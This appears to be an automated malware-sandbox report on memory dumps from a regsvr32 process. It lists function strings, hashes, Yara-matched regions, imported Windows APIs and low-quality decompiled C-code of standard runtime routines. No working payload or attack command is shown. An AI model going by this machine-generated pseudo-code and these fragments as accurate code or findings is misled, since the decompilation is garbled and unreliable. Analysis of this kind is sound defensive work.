HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 000007FEF9D25F42
_heapchk fails with _HEAPBADEND., xrefs: 000007FEF9D25D4D
DAMAGED, xrefs: 000007FEF9D25E7D
_heapchk fails with _HEAPBADBEGIN., xrefs: 000007FEF9D25CE5
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 000007FEF9D260C7
_1, xrefs: 000007FEF9D261FC
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25FE7
_heapchk fails with unknown return value!, xrefs: 000007FEF9D25DAF

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$DAMAGED$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).$_heapchk fails with _HEAPBADBEGIN.$_heapchk fails with _HEAPBADEND.$_heapchk fails with _HEAPBADNODE.$_heapchk fails with _HEAPBADPTR.$_heapchk fails with unknown return value!$_1
API String ID: 0-510578482
Opcode ID: 15b327a6fa8e12693a207a0a7b33494fdffa5f56c7c2417c86fde08a07b35573
Instruction ID: 2e3929c610d79aeb9f6375ea398ef70322b77c1420209f8d6f9956d4446a531d
Opcode Fuzzy Hash: 15b327a6fa8e12693a207a0a7b33494fdffa5f56c7c2417c86fde08a07b35573
Instruction Fuzzy Hash: A6E13F36A18B5586EBA4CB69E88072EB7E0F384754F614526EACD43BB4DB7ED051CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000FFC0 Relevance: 16.2, Strings: 12, Instructions: 1219COMMON

Download Yara Rule

Strings

K, xrefs: 00000001800117C0
sg, xrefs: 0000000180010713
kJ, xrefs: 0000000180011662
E, xrefs: 0000000180010000
30.1.3, xrefs: 00000001800101FC, 0000000180011692
Jq-., xrefs: 00000001800107C4
kJ, xrefs: 00000001800100F8
#r5|, xrefs: 0000000180011B12
:B), xrefs: 0000000180011CBB
Y], xrefs: 0000000180010F2D
:F&, xrefs: 0000000180010676
K, xrefs: 0000000180010D55

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: E$#r5|$30.1.3$:B)$:F&$Jq-.$K$K$Y]$kJ$kJ$sg
API String ID: 0-553264730
Opcode ID: cddb9e216d5522f206da78d8fc0cd1a272e9a6010eb05564972df6001c09f508
Instruction ID: 9c682bca3309bc02ed949a6de7aa3bb6d22b0761abc13177b84899e0b503d48e
Opcode Fuzzy Hash: cddb9e216d5522f206da78d8fc0cd1a272e9a6010eb05564972df6001c09f508
Instruction Fuzzy Hash: 73E2E4715047CC8BDBB9DFA4C8897DD3BA1FB44344F10861AEC4EAE250DBB45A89CB61

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23280 Relevance: 12.1, APIs: 8, Instructions: 67
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 57%

			E000007FE7FEF9D23280(void* __eax, signed int __ecx, signed int __edx, signed int __rcx, signed int __rdx, void* __r8) {
				void* _t7;
				void* _t10;
				signed long long _t15;
				signed long long* _t16;
				signed long long _t20;
				signed long long _t24;

				_t7 = __rcx -  *0xf9d4b018; // 0x6ebcb970bf84
				if (_t7 != 0) goto 0xf9d2329a;
				asm("dec eax");
				if ((__ecx & 0x0000ffff) != 0) goto 0xf9d23296;
				asm("repe ret");
				asm("dec eax");
				goto 0xf9d23720;
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("o16 nop [eax+eax]");
				if (__r8 - 8 < 0) goto 0xf9d2330c;
				_t20 = __rdx * 0x1010101;
				_t10 = __r8 - 0x40;
				if (_t10 < 0) goto 0xf9d232ee;
				_t15 =  ~__rcx;
				if (_t10 == 0) goto 0xf9d232de;
				 *__rcx = _t20;
				_t16 = _t15 + __rcx;
				if (_t10 != 0) goto 0xf9d23327;
				_t24 = __r8 - _t15 & 7;
				if (_t10 == 0) goto 0xf9d2330c;
				 *_t16 = _t20;
				if (_t10 != 0) goto 0xf9d23300;
				if (_t24 == 0) goto 0xf9d2331b;
				_t16[1] = __edx & 0x000000ff;
				if (_t24 - 1 != 0) goto 0xf9d23311;
				return __eax;
			}

0x7fef9d23280
0x7fef9d23287
0x7fef9d23289
0x7fef9d23292
0x7fef9d23294
0x7fef9d23296
0x7fef9d2329a
0x7fef9d2329f
0x7fef9d232a0
0x7fef9d232a1
0x7fef9d232a2
0x7fef9d232a3
0x7fef9d232a4
0x7fef9d232a5
0x7fef9d232a6
0x7fef9d232b7
0x7fef9d232c6
0x7fef9d232ca
0x7fef9d232ce
0x7fef9d232d0
0x7fef9d232d6
0x7fef9d232db
0x7fef9d232de
0x7fef9d232ec
0x7fef9d232f1
0x7fef9d232f9
0x7fef9d23300
0x7fef9d2330a
0x7fef9d2330f
0x7fef9d23311
0x7fef9d23319
0x7fef9d2331b

APIs

RtlCaptureContext.KERNEL32 ref: 000007FEF9D23733
RtlLookupFunctionEntry.KERNEL32 ref: 000007FEF9D23752
RtlVirtualUnwind.KERNEL32 ref: 000007FEF9D2379E
IsDebuggerPresent.KERNEL32 ref: 000007FEF9D23810
SetUnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D23828
UnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D23835
GetCurrentProcess.KERNEL32 ref: 000007FEF9D2384E
TerminateProcess.KERNEL32 ref: 000007FEF9D2385C

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: c7ac20398f1e0bfcda68d30e042a710a2d00de73d3b00f2192fd5d70b0bf2831
Instruction ID: 807cfb07a33e429e3d371e20a7d7f9b872ed56a9d2d7ce20ec260cf370a1508c
Opcode Fuzzy Hash: c7ac20398f1e0bfcda68d30e042a710a2d00de73d3b00f2192fd5d70b0bf2831
Instruction Fuzzy Hash: 9B31B435908B4685EAA09B69FD443AEB3E0F784794F608026DACD43775DF7EE0588B41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2443C Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 112COMMON

Download Yara Rule

APIs

_unlock.LIBCMTD ref: 000007FEF9D248B9

Strings

Client hook allocation failure at file %hs line %d., xrefs: 000007FEF9D2452F
Client hook allocation failure., xrefs: 000007FEF9D24554
_CrtCheckMemory(), xrefs: 000007FEF9D24455
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D2446A
Invalid allocation size: %Iu bytes., xrefs: 000007FEF9D245C6

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock
String ID: Client hook allocation failure at file %hs line %d.$Client hook allocation failure.$Invalid allocation size: %Iu bytes.$_CrtCheckMemory()$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 2480363372-3680694803
Opcode ID: 5582fb477a99f139482b647e65eadd7bcea0024aa5ad3136cc4be02f6e7bf908
Instruction ID: 8b5a52ed6c75746639c18038ef7af0115634e61e6ce836c346e70c61fc8f1b15
Opcode Fuzzy Hash: 5582fb477a99f139482b647e65eadd7bcea0024aa5ad3136cc4be02f6e7bf908
Instruction Fuzzy Hash: 58510931A096828AE7F48B68EC4576E73E4F395354F618135DADD83BB4EB3EE4448B01

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000A758 Relevance: 9.3, Strings: 7, Instructions: 594COMMON

Download Yara Rule

Strings

#X, xrefs: 000000018000AD41
A2>, xrefs: 000000018000B065
, xrefs: 000000018000A787
Mum, xrefs: 000000018000AFAE
=D, xrefs: 000000018000AA8F
vQ, xrefs: 000000018000AE4D
Fa, xrefs: 000000018000A9DA

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$ $A2>$Mum$vQ$=D$Fa
API String ID: 0-1298193321
Opcode ID: 982ab4627d106152f76a325de243923c319ce5c47f351cfe718817436c28ee1d
Instruction ID: 1349cc56659c19f01a369150ff0067e3f34eaebe01bc07430d2f97da03610ed5
Opcode Fuzzy Hash: 982ab4627d106152f76a325de243923c319ce5c47f351cfe718817436c28ee1d
Instruction Fuzzy Hash: 24522775A0620CDFCB68DFA8D08A6DDBBF2EF58344F104119F816A7261D7B0D919CB89

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001E4AC Relevance: 9.1, Strings: 7, Instructions: 371COMMON

Download Yara Rule

Strings

._, xrefs: 000000018001E654
t, xrefs: 000000018001E945
@4<, xrefs: 000000018001E879
8%Y, xrefs: 000000018001E6CA
F+}, xrefs: 000000018001E7B6
xy, xrefs: 000000018001EA69
R1, xrefs: 000000018001E7F4

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ._$8%Y$@4<$F+}$R1$t$xy
API String ID: 0-3078009748
Opcode ID: 7cd976f9c86f50bd1c1ca064b29a615496490d447d7d5288ee1f6aa5414266f6
Instruction ID: 0e1afbee3b71ea3b5863fe80692b11929ebce18e29255cef2241f67d7a77c22f
Opcode Fuzzy Hash: 7cd976f9c86f50bd1c1ca064b29a615496490d447d7d5288ee1f6aa5414266f6
Instruction Fuzzy Hash: 0402E1B1504649DFCB98DF28C489ADE3BE1FB48318F41812AFC4A9B764D770DA98CB45

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2BE50 Relevance: 9.1, APIs: 6, Instructions: 79
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 33%

			E000007FE7FEF9D2BE50(intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esp, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a24) {
				intOrPtr _v4;
				void* _v12;
				signed long long _v24;
				signed int _v36;
				long long _v180;
				long long _v184;
				intOrPtr _v192;
				char _v196;
				intOrPtr _v204;
				long _v212;
				long long _v220;
				long long _v228;
				long long _v1212;
				long long _v1308;
				char _v1460;
				char _v1476;
				char _v1484;
				int _v1492;
				long long _v1500;
				long long _v1508;
				long long _v1516;
				long long _v1524;
				long long _v1532;
				long long _v1540;
				void* _t51;
				signed long long _t80;
				long long _t85;
				void* _t100;

				_a24 = r8d;
				_a16 = __edx;
				_a8 = __ecx;
				_t80 =  *0xf9d4b018; // 0x6ebcb970bf84
				_v24 = _t80 ^ _t100 - 0x00000610;
				if (_a8 == 0xffffffff) goto 0xf9d2be8d;
				E000007FE7FEF9D28D90(_t51, _a8);
				_v184 = 0;
				memset(__edi, 0, 0x94 << 0);
				_v1508 =  &_v196;
				_v1500 =  &_v1460;
				_v1492 = 0;
				_v212 = 0;
				__imp__RtlCaptureContext();
				_t85 = _v1212;
				_v220 = _t85;
				r8d = 0;
				0xf9d40e28();
				_v228 = _t85;
				if (_v228 == 0) goto 0xf9d2bf64;
				_v1516 = 0;
				_v1524 =  &_v1476;
				_v1532 =  &_v1484;
				_v1540 =  &_v1460;
				0xf9d40e22();
				goto 0xf9d2bf84;
				_v1212 = _v12;
				_v1308 =  &_v12;
				_v196 = _a4;
				_v192 = _a12;
				_v180 = _v12;
				_v1492 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(??);
				_v212 = UnhandledExceptionFilter(??);
				if (_v212 != 0) goto 0xf9d2bffb;
				if (_v1492 != 0) goto 0xf9d2bffb;
				if (_v4 == 0xffffffff) goto 0xf9d2bffb;
				return E000007FE7FEF9D23280(E000007FE7FEF9D28D90(_t59, _v4), _v4, __edx, _v36 ^ _t100 - 0x00000610, _v204, _v220);
			}

0x7fef9d2be50
0x7fef9d2be55
0x7fef9d2be59
0x7fef9d2be65
0x7fef9d2be6f
0x7fef9d2be7f
0x7fef9d2be88
0x7fef9d2be8d
0x7fef9d2beaa
0x7fef9d2beb4
0x7fef9d2bebe
0x7fef9d2bec3
0x7fef9d2becb
0x7fef9d2bedb
0x7fef9d2bee1
0x7fef9d2bee9
0x7fef9d2bef1
0x7fef9d2bf04
0x7fef9d2bf09
0x7fef9d2bf1a
0x7fef9d2bf1c
0x7fef9d2bf2a
0x7fef9d2bf34
0x7fef9d2bf3e
0x7fef9d2bf5d
0x7fef9d2bf62
0x7fef9d2bf6c
0x7fef9d2bf7c
0x7fef9d2bf8b
0x7fef9d2bf99
0x7fef9d2bfa8
0x7fef9d2bfb6
0x7fef9d2bfbc
0x7fef9d2bfcd
0x7fef9d2bfdc
0x7fef9d2bfe3
0x7fef9d2bfed
0x7fef9d2c013

APIs

RtlCaptureContext.KERNEL32 ref: 000007FEF9D2BEDB
RtlLookupFunctionEntry.KERNEL32 ref: 000007FEF9D2BF04
RtlVirtualUnwind.KERNEL32 ref: 000007FEF9D2BF5D
IsDebuggerPresent.KERNEL32 ref: 000007FEF9D2BFB0
SetUnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D2BFBC
UnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D2BFC7

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 3c99f19865488fa949415da8e2229a8dc4eaaacedc1a65a8015e4c0ea1d70d8e
Instruction ID: ff33e713b9b9862e94e2d2fd4ae4d55f0027255630586c455cca821aadc81769
Opcode Fuzzy Hash: 3c99f19865488fa949415da8e2229a8dc4eaaacedc1a65a8015e4c0ea1d70d8e
Instruction Fuzzy Hash: 7041BE32909BC58AE6B08B14F8443AFB3A1F388355F50522996CD42BA8EB7ED095CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001B3A4 Relevance: 8.2, Strings: 6, Instructions: 685COMMON

Download Yara Rule

Strings

of?, xrefs: 000000018001BCC0
M@, xrefs: 000000018001BD49
=`, xrefs: 000000018001B4ED
#X, xrefs: 000000018001BE03
uzxY, xrefs: 000000018001B986
!Iv;, xrefs: 000000018001BDA7

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$!Iv;$=`$M@$of?$uzxY
API String ID: 0-1910763920
Opcode ID: 9693a8ffcd6589fd3dbfdbad085aa322119c3f1a6317bc180f44839f00dc24fe
Instruction ID: 7899ed511868268ad7aea3719dccceda62fd29fa6bb16e154aa46d1db7c43d79
Opcode Fuzzy Hash: 9693a8ffcd6589fd3dbfdbad085aa322119c3f1a6317bc180f44839f00dc24fe
Instruction Fuzzy Hash: F172047190478C8BDB58DF68C88A69E7FE1FB84384F20461DF95A9B260D770D989CF81

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800270C0 Relevance: 8.2, Strings: 6, Instructions: 672COMMON

Download Yara Rule

Strings

%, xrefs: 0000000180027A74
R@\, xrefs: 0000000180027748
3'p, xrefs: 0000000180027483
AVx., xrefs: 0000000180027CF1
|7}, xrefs: 0000000180027EB6
ASN1.dll, xrefs: 0000000180027119, 000000018002796D

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %$3'p$ASN1.dll$AVx.$R@\$|7}
API String ID: 0-1582836426
Opcode ID: 42416e948d3c9d06b93ab1f3a8ba6bb7b4031ce7609dd7b48ddc645cdcf3989a
Instruction ID: 11bdd15b6fdebef4e4e33012fe2102d5287f0ed75640ad066b8b9400528ec4a7
Opcode Fuzzy Hash: 42416e948d3c9d06b93ab1f3a8ba6bb7b4031ce7609dd7b48ddc645cdcf3989a
Instruction Fuzzy Hash: F0820774604BC88BDBB8DF24DC857CD7BE0FB86305F20561DD95E9AA60CBB89645CB02

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000BC98 Relevance: 8.0, Strings: 6, Instructions: 487COMMON

Download Yara Rule

Strings

F9p, xrefs: 000000018000C348
*I, xrefs: 000000018000C3C7
ef~j, xrefs: 000000018000C484
;3, xrefs: 000000018000C590
#X, xrefs: 000000018000BD53
;*v(, xrefs: 000000018000C23C

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$*I$;*v($;3$F9p$ef~j
API String ID: 0-950528966
Opcode ID: 9500c32e6f155eacac3cfe5a03c267215382f5440a46099a8d521f2441a56deb
Instruction ID: 5057aee1002f2822c724537f3f36740fe0594223e2d956511feddf479ded4ebe
Opcode Fuzzy Hash: 9500c32e6f155eacac3cfe5a03c267215382f5440a46099a8d521f2441a56deb
Instruction Fuzzy Hash: 6A42E771144BCA8BCBB9CF24CC85BEF7BA0FB44306F145529D89A8A291DBB89745CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000F554 Relevance: 7.9, Strings: 6, Instructions: 447COMMON

Download Yara Rule

Strings

M?@, xrefs: 000000018000FA5E
IX, xrefs: 000000018000FDD5
9w, xrefs: 000000018000F9B1
%, xrefs: 000000018000FCB8
M, xrefs: 000000018000FBC1
jS<, xrefs: 000000018000FD7B

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %$9w$IX$M?@$jS<$M
API String ID: 0-1157581923
Opcode ID: 49f1c8efd4ee46ecb9d969e0aa9b812bfdd9bd3000ec2742c71bf52f4d967f5b
Instruction ID: e375d1c8451a89c96fc0dfbd01d6dda6b37f4c7765b0f9ce143112ad2eac9b8a
Opcode Fuzzy Hash: 49f1c8efd4ee46ecb9d969e0aa9b812bfdd9bd3000ec2742c71bf52f4d967f5b
Instruction Fuzzy Hash: 8A32E4B0A147888BCBB8CF68C8897DD7BF0FB48318F90521DEA0A9B251DB745645CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800053B0 Relevance: 7.8, Strings: 6, Instructions: 305COMMON

Download Yara Rule

Strings

&n, xrefs: 0000000180005658
%, xrefs: 00000001800054DC
1U, xrefs: 0000000180005931
Oh, xrefs: 00000001800058F7
X, xrefs: 00000001800058D8
j/, xrefs: 0000000180005758

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %$&n$1U$Oh$j/$X
API String ID: 0-3716166881
Opcode ID: 3ec52770ba243505623e348b6c36d4d02d94aade20e82fe7112f5902b3326bac
Instruction ID: b98437ffb223a44b0e92d10549c73aaa59fdecde54cd589da16d290276777c9c
Opcode Fuzzy Hash: 3ec52770ba243505623e348b6c36d4d02d94aade20e82fe7112f5902b3326bac
Instruction Fuzzy Hash: D9F13C70508B88CFD7B9CF24D48969EBBF4FB84744F204A1EE5A59B260DBB09645CF42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028D10 Relevance: 7.7, Strings: 6, Instructions: 249COMMON

Download Yara Rule

Strings

tiG, xrefs: 0000000180028D62
G8L, xrefs: 0000000180028E0A
J9, xrefs: 0000000180028D50
ss6, xrefs: 0000000180028DBD
ozq~, xrefs: 0000000180028EC6
P;, xrefs: 0000000180028F1F

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: G8L$J9$ozq~$ss6$tiG$P;
API String ID: 0-1765782432
Opcode ID: c77c4daeda8c59326f72f8188263c488bfcd846ed7a7bd487d849044a826f1d5
Instruction ID: 77e5b6b93cc6977e5a95292e040e55b4553736c218ba0195107264470a30d31c
Opcode Fuzzy Hash: c77c4daeda8c59326f72f8188263c488bfcd846ed7a7bd487d849044a826f1d5
Instruction Fuzzy Hash: FCC1097050064D8FDF89DF28C89A6DE3BA1FB68398F51421DFC4A962A1C778D994CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28900 Relevance: 7.6, APIs: 5, Instructions: 55timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D2893B
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D2894B
GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D28963
GetTickCount.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D2897B
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D28998

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 3c45f80db2f34b613ab4c9fa771cbb066be9ba5f1b7e4cdc55cd1e9c18cefb40
Instruction ID: 08a22431f858d3c52821bee646358606f5e13fcd060269a72eebdbe744b14aa1
Opcode Fuzzy Hash: 3c45f80db2f34b613ab4c9fa771cbb066be9ba5f1b7e4cdc55cd1e9c18cefb40
Instruction Fuzzy Hash: 7A21E62160AF0585DAB08B19FC5032E77E0E78DBA5F241235AADD83778EF3DD2948700

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001CF9C Relevance: 7.0, Strings: 5, Instructions: 751COMMON

Download Yara Rule

Strings

_, xrefs: 000000018001D9C0
jc, xrefs: 000000018001DDA5
,bF, xrefs: 000000018001DB1D
-Ie:, xrefs: 000000018001DEBB
Y, xrefs: 000000018001DB50

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ,bF$-Ie:$Y$jc$_
API String ID: 0-2562869522
Opcode ID: 13dcfdf2b547f47b8e652e45a129a81bd12d479633329dbfd5d4c9c90b2a7465
Instruction ID: be835d82a8a11271eaf2d0d4144821f845ce411821323c63ff6fa91e08a90877
Opcode Fuzzy Hash: 13dcfdf2b547f47b8e652e45a129a81bd12d479633329dbfd5d4c9c90b2a7465
Instruction Fuzzy Hash: 2F82FC7190478C8BDBBDCF24C8466DE7BE1FB88744F104A1DEA5A8A350D7B49785CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180002D28 Relevance: 6.8, Strings: 5, Instructions: 514COMMON

Download Yara Rule

Strings

j~L, xrefs: 0000000180002EC4
W0, xrefs: 00000001800031D3
89, xrefs: 0000000180002E9E
/$*, xrefs: 0000000180002F2C
.s, xrefs: 00000001800030F4

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: .s$/$*$89$W0$j~L
API String ID: 0-3680180293
Opcode ID: b1eb1fe3fa88397c885ab509abe1c858ffcdb74bf15ef161dec0971567ed18e8
Instruction ID: f5b8073de7550f00aae71ce47ac4d0d330c984d331b26572373d31fffc6277f7
Opcode Fuzzy Hash: b1eb1fe3fa88397c885ab509abe1c858ffcdb74bf15ef161dec0971567ed18e8
Instruction Fuzzy Hash: 9332237050C7848FC369DF68C58A65EBBF0FB8A744F004A1EF68687260D7B6D949CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002A5D8 Relevance: 6.6, Strings: 5, Instructions: 339COMMON

Download Yara Rule

Strings

ioF, xrefs: 000000018002A783
IE, xrefs: 000000018002A956
:_, xrefs: 000000018002A6AC
J? , xrefs: 000000018002A763
DHM, xrefs: 000000018002A941

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :_$DHM$J? $ioF$IE
API String ID: 0-1950181368
Opcode ID: 259697ebe02e240ff157c8cb6796f3c563015099138ecee0effd1804923e127d
Instruction ID: dfce06ae3f2776b2053eb0988bfb390665c026a97965fcc171ceda4eb787facd
